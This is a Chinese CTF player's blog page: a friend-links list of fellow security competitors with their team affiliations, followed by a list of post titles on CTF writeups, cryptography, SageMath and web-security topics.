Zoee，一个 CTF 玩家。打比赛时更常和这些人一起出现：③籍贯（三极管）、shuiyouteam（NWPU 的伙伴们）、Arr3stY0u（山海关）以及“正规子群”。

友链

Mon, 01 Jan 0001 00:00:00 +0000

交换友链随时联系

🧑🏼‍🦯‍➡️ 大佬们的博客

Kotoriseed (退役 ACMer / PWN@W&M / 拉我出 ACM 火坑的男人 / 帮我度过萌新期的人 / 看似是 PWNer 实则还会数学的人)
Xban (这是碰都不能碰的滑梯 / Go / 逝好人)
Ray言午 (Web&Pwn@ttl)
TT (ACMer@SZU / 弹古筝很好听)
le1a (Web / Java / Go / 微步漏洞研究)
爽改 (Oier / CTFer)
Generate (Crypto@N0wayBack)
ROOT_配枪朱丽叶 (警校 CTFer)
潜渊 (算法竞赛败犬之 CPP 学习群群主 / 叔叔)
DUA0G (拉我进iie群的re神 / 考研路上的伙伴)
Pe4cefulSnow (带我入门 WEB 的师傅 / 很耐心www@r3kapig)
Shino (Nu1L 的二进制👴🏻 / 分区赛的时候因为其用了 surface 被我发现而追星成功)
n1gh7ma12e (群友 / 勤奋的密码手)
Reverier-Xu (XDSEC / L-team / Cyber Terminal 作者)
z3475 (搜数据结构时发现其域名跟我之前一台主机的 CPU 名字很像而加好友)
糖醋小鸡块 (神! / 学习速度像神)
fffmath (XHSCrypt 协会会长 / 论文输出机)
随缘 (XDSEC / Nepnep / yeye5)
三顺七 (X1cT34m / Nepnep / 1997)
1cePeak (Nepnep / 神秘出题人)
Halois (syclover)
brealid (Arr3stY0u / NEBULA)
Shin (Crypto@HnuSec)
huangx607087 (Crypto@SUS)
Pr3d1ct (Crypto@XMCVE)
m1n9 (Crypto@HnuSec&Nepnep)
DexterJie (aka.蜡笔小新 Crypto@XMCVE)
adwa (aka.🦌 Crypto@0xfff)
Triode (三极管，妈妈爱你)
Cherrling (圣！AMD，YES！)
ruanx (阮行止)
LilRan (今日启程无畏向前)
Swizzer (Del0n1x and 正规子群)

特别感谢

DK盾 (高防服务器提供商 | Docker 加速 | 图床)

还有我认识，但对方不认识我的人，你们的博客帮了我很多

+ hash_hash https://hash-hash.github.io/ - https://www.cnblogs.com/oyrd/ (Nu1l)
+ Lazzaro https://lazzzaro.github.io/ （）
+ zimablue https://www.zimablue.life/ (cyberCryer)
+ deebato http://d33b4t0.com/ (r3kapig / yeye5)
+ 国光 https://www.sqlsec.com/ (X1cT34m)
+ Harry0597 https://harry0597.com/ (星盟)
+ tl2cents https://tanglee.top/ (IIE / NeSE)
+ Dawn_whisper https://dawn-whisper.top/ (W&M)
+ Zuni_W https://cryptohack.org/user/Zuni_W/ (Nepnep)
+ ZM_J https://www.zhihu.com/people/ZM_________J/posts (1997)
+ ThTsOd https://bbs.kanxue.com/homepage-940451.htm (俄罗斯方块高手 / Nepnep)

博客后期思路灵感来源

+ Siebene https://siebene.github.io/about/

Zoee

AI Agent 之我见

SSH Public Key

AliCTF 2026 Web - next-challenge · React2Shell 机制梳理

结论

AliCTF 2026 Crypto - Griffin

结论

复现参数

AliCTF 2026 线上赛 Web - staircase

题目信息

最终结论 本地已打通

N1CTF Junior 2026 1/2

AstralCat

XCTF Lilac 2026 Writeup

XCTF Lilac - launchpad

题目信息

HDR 图片测试

Ultra HDR（JPEG + Gain Map）

年度总结 - 2025

XCTF Final 2025 部分题解

macOS (Apple Silicon) 环境下 Python C 扩展包的编译与使用排错指南

技术文档：macOS (Apple Silicon) 环境下 Python C 扩展包的编译与使用排错指南

摘要

片段

总结思路（逐步推理）和为什么 getFullP 里用多项式 P - N

一、从已知条件出发的代数关系（推导低位 p 的来源）

mod n -> mod p

GB/T 38636-2020: 传输层密码协议 (TLCP) 技术规范分析

Reference

GB/T 38636-2020: 传输层密码协议 (TLCP) 技术规范分析

1. 范围与目的

为 small_roots() 设置超时

从矩阵求解到深入 Sage 引擎内核

SageMath 解题思路进阶：从矩阵求解到深入引擎内核

前言：我们想解决什么问题？

SageMath 进阶技巧（续）：利用 flag 参数探索解空间

SageMath 进阶技巧（续）：利用 flag 参数探索解空间

前言

解模线性方程组：从龟速到光速的 SageMath 之旅

SageMath 中模线性方程组的求解策略与性能比较

前言

Golang Cgo Metal (sm3)

Windows 下 sing-box tun 全局代理配置踩坑记

背景

rust_socks 流量转发

格密码基础知识

格密码1.1 格

格的定义

编译 Apache Doris

[AtCoder] ABC_147_C 来自 Gemini 的教学

ABC_147_C

[趣题记录] GCD Sum

思路

一些使用AI的小经验

SSRF - 服务端请求伪造 - 题目集

CSP - 内容安全策略 - 注意事项

基础事项

Nginx

DVWA SQL injection

Low

题目源码

思路

Mid

题目源码

思路

niteCTF 2024 团队 WriteUp

With 正规子群 (Triode, adwa, Ov3)

Crypto

RSAabc

题目

Solution

R Stands Alone

ARM Release

yafu

SageMath 和 gmpy2 精度的探究

起因

18届 全国大学生信息安全竞赛&长城杯 部分WriteUp

Crypto

rasnd

Part1

最终结论本地已打通

总结思路（逐步推理）和为什么 `getFullP` 里用多项式 `P - N`

SageMath 进阶技巧（续）：利用 `flag` 参数探索解空间

18届全国大学生信息安全竞赛&长城杯部分WriteUp

金融密码杯团队 WriteUp

创建 `san.cnf`

好+多手工面 | 人均 20 RMB

2024.6.29 某行业赛一道 Crypto+Misc 希尔密码